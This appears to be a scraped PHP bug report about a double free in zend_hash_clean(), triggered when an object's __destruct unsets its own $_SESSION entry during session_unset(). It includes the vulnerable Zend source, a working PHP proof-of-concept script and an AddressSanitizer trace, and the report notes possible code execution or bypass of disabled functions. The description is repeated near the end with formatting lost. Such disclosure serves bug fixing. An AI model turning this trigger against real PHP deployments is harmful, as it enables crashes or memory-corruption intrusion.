Description
Summary
zend_hash_clean()'s HT_IS_WITHOUT_HOLES branch passes &p->val directly to pDestructor without making a temporary copy and without setting the slot to IS_UNDEF first. This differs from _zend_hash_del_el_ex(), which always copies the value to tmp and UNDEFs the slot before calling the destructor. The UNDEF write acts as a re-entrancy guard.
When the outer destructor runs for an object (via zval_ptr_dtor -> i_zval_ptr_dtor -> zend_objects_store_del), the object's __destruct method executes. Inside __destruct, if user code calls any function that triggers zend_hash_del() on the same hash for the same key currently being destructed, _zend_hash_del_el_ex() runs:
- Copies
p->val (which still holds the live IS_OBJECT zval) to tmp.
- Sets
p->val = IS_UNDEF.
- Calls
pDestructor(&tmp) -> zend_objects_store_del() -> frees the object (second destructor call).
When __destruct returns, the first zend_objects_store_del (from the outer loop's call) continues and finds GC_REFCOUNT == 0 again (freed memory), then calls efree(ptr) a second time.
In debug builds, ZEND_ASSERT(IS_OBJ_VALID(EG(objects_store).object_buckets[handle])) at line 188 catches this before the second efree. In release builds, the assertion is absent and the double free occurs.
Vulnerable Source Code
// Zend/zend_hash.c:1926-1932 -- HT_IS_WITHOUT_HOLES path in zend_hash_clean()
} else if (HT_IS_WITHOUT_HOLES(ht)) {
do {
ht->pDestructor(&p->val); // line 1928 -- direct pointer, NO copy, NO UNDEF guard
if (EXPECTED(p->key)) {
zend_string_release(p->key);
}
} while (++p != end);
// Zend/zend_hash.c:1498-1502 -- _zend_hash_del_el_ex() called when dtor triggers re-entrant delete
if (ht->pDestructor) {
zval tmp;
ZVAL_COPY_VALUE(&tmp, &p->val); // copies the live value
ZVAL_UNDEF(&p->val); // marks slot as dead BEFORE calling dtor
ht->pDestructor(&tmp); // SECOND dtor on same underlying object
}
How to Trigger
<?php
session_start();
class SelfRemover {
public function __destruct() {
unset($_SESSION['x']);
}
}
$_SESSION['x'] = new SelfRemover();
session_unset();
echo "done\n";
The double free fires when:
- A hash is being cleaned by
zend_hash_clean(): Triggered by session_unset() (session.c:2691), CachingIterator::rewind() (spl_iterators.c:2327), or SplFixedArray::__unserialize() (spl_fixedarray.c:578).
- The hash has no holes (
HT_IS_WITHOUT_HOLES is true: True for any array without prior element deletions).
- An object in the hash (with no other references) has a
__destruct that removes the same element from the same hash.
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f4/poc.php
Output:
=================================================================
==24794==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000076f10 at pc 0x000103e04b10 bp 0x00016dcbbef0 sp 0x00016dcbbee8
READ of size 4 at 0x604000076f10 thread T0
#0 0x000103e04b0c in zend_gc_delref zend_types.h:1358
#1 0x000103e05e94 in zend_objects_store_del zend_objects_API.c:179
#2 0x000103e6d3d0 in rc_dtor_func zend_variables.c:56
#3 0x000103e6d4e4 in i_zval_ptr_dtor zend_variables.h:44
#4 0x000103e6d40c in zval_ptr_dtor zend_variables.c:83
#5 0x000103d00070 in zend_hash_clean zend_hash.c:1917
#6 0x000102ffaad0 in zif_session_unset session.c:2691
#7 0x000103bd2d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#8 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
#9 0x00010386c430 in zend_execute zend_vm_execute.h:115586
#10 0x000103e8cb44 in zend_execute_script zend.c:1971
#11 0x00010347b658 in php_execute_script_ex main.c:2646
#12 0x00010347bbc0 in php_execute_script main.c:2686
#13 0x000103e934b8 in do_cli php_cli.c:947
#14 0x000103e91904 in main php_cli.c:1370
#15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x604000076f10 is located 0 bytes inside of 40-byte region [0x604000076f10,0x604000076f38)
freed by thread T0 here:
#0 0x000107159258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
#1 0x0001036ef664 in __zend_free zend_alloc.c:3571
#2 0x0001036f337c in _efree zend_alloc.c:2788
#3 0x000103e06318 in zend_objects_store_del zend_objects_API.c:197
#4 0x000103e08ca4 in zend_object_release zend_objects_API.h:76
#5 0x000103e08774 in zend_objects_destroy_object zend_objects.c:184
#6 0x000103e05e8c in zend_objects_store_del zend_objects_API.c:178
#7 0x000103e6d3d0 in rc_dtor_func zend_variables.c:56
#8 0x000103e6d4e4 in i_zval_ptr_dtor zend_variables.h:44
#9 0x000103e6d40c in zval_ptr_dtor zend_variables.c:83
#10 0x000103d00070 in zend_hash_clean zend_hash.c:1917
#11 0x000102ffaad0 in zif_session_unset session.c:2691
#12 0x000103bd2d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#13 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
#14 0x00010386c430 in zend_execute zend_vm_execute.h:115586
#15 0x000103e8cb44 in zend_execute_script zend.c:1971
#16 0x00010347b658 in php_execute_script_ex main.c:2646
#17 0x00010347bbc0 in php_execute_script main.c:2686
#18 0x000103e934b8 in do_cli php_cli.c:947
#19 0x000103e91904 in main php_cli.c:1370
#20 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000107159164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x0001036f3998 in __zend_malloc zend_alloc.c:3543
#2 0x0001036f3250 in _emalloc zend_alloc.c:2778
#3 0x000103e08d68 in zend_objects_new zend_objects.c:190
#4 0x00010370f988 in _object_and_properties_init zend_API.c:1819
#5 0x00010370fba0 in object_init_ex zend_API.c:1842
#6 0x000103b2d710 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63944
#7 0x00010386ba9c in execute_ex zend_vm_execute.h:110168
#8 0x00010386c430 in zend_execute zend_vm_execute.h:115586
#9 0x000103e8cb44 in zend_execute_script zend.c:1971
#10 0x00010347b658 in php_execute_script_ex main.c:2646
#11 0x00010347bbc0 in php_execute_script main.c:2686
#12 0x000103e934b8 in do_cli php_cli.c:947
#13 0x000103e91904 in main php_cli.c:1370
#14 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free zend_types.h:1358 in zend_gc_delref
Shadow bytes around the buggy address:
0x604000076c80: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x604000076d00: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x604000076d80: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x604000076e00: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x604000076e80: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
=>0x604000076f00: fa fa[fd]fd fd fd fd fa fa fa fa fa fa fa fa fa
0x604000076f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000077000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000077080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000077100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x604000077180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==24794==ABORTING
[1] 24794 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f4/poc.php
Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-m343-j97r-vmpw has been identified as a possible duplicate of an issue that has already been opened.
"Duplicate of #20001."
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
zend_hash_clean()'sHT_IS_WITHOUT_HOLESbranch passes&p->valdirectly topDestructorwithout making a temporary copy and without setting the slot toIS_UNDEFfirst. This differs from_zend_hash_del_el_ex(), which always copies the value totmpand UNDEFs the slot before calling the destructor. The UNDEF write acts as a re-entrancy guard.When the outer destructor runs for an object (via
zval_ptr_dtor->i_zval_ptr_dtor->zend_objects_store_del), the object's__destructmethod executes. Inside__destruct, if user code calls any function that triggerszend_hash_del()on the same hash for the same key currently being destructed,_zend_hash_del_el_ex()runs:p->val(which still holds the live IS_OBJECT zval) totmp.p->val = IS_UNDEF.pDestructor(&tmp)->zend_objects_store_del()-> frees the object (second destructor call).When
__destructreturns, the firstzend_objects_store_del(from the outer loop's call) continues and findsGC_REFCOUNT == 0again (freed memory), then callsefree(ptr)a second time.In debug builds,
ZEND_ASSERT(IS_OBJ_VALID(EG(objects_store).object_buckets[handle]))at line 188 catches this before the secondefree. In release builds, the assertion is absent and the double free occurs.Vulnerable Source Code
How to Trigger
The double free fires when:
zend_hash_clean(): Triggered bysession_unset()(session.c:2691),CachingIterator::rewind()(spl_iterators.c:2327), orSplFixedArray::__unserialize()(spl_fixedarray.c:578).HT_IS_WITHOUT_HOLESis true: True for any array without prior element deletions).__destructthat removes the same element from the same hash.Command:
Output:
PHP Version
Operating System
No response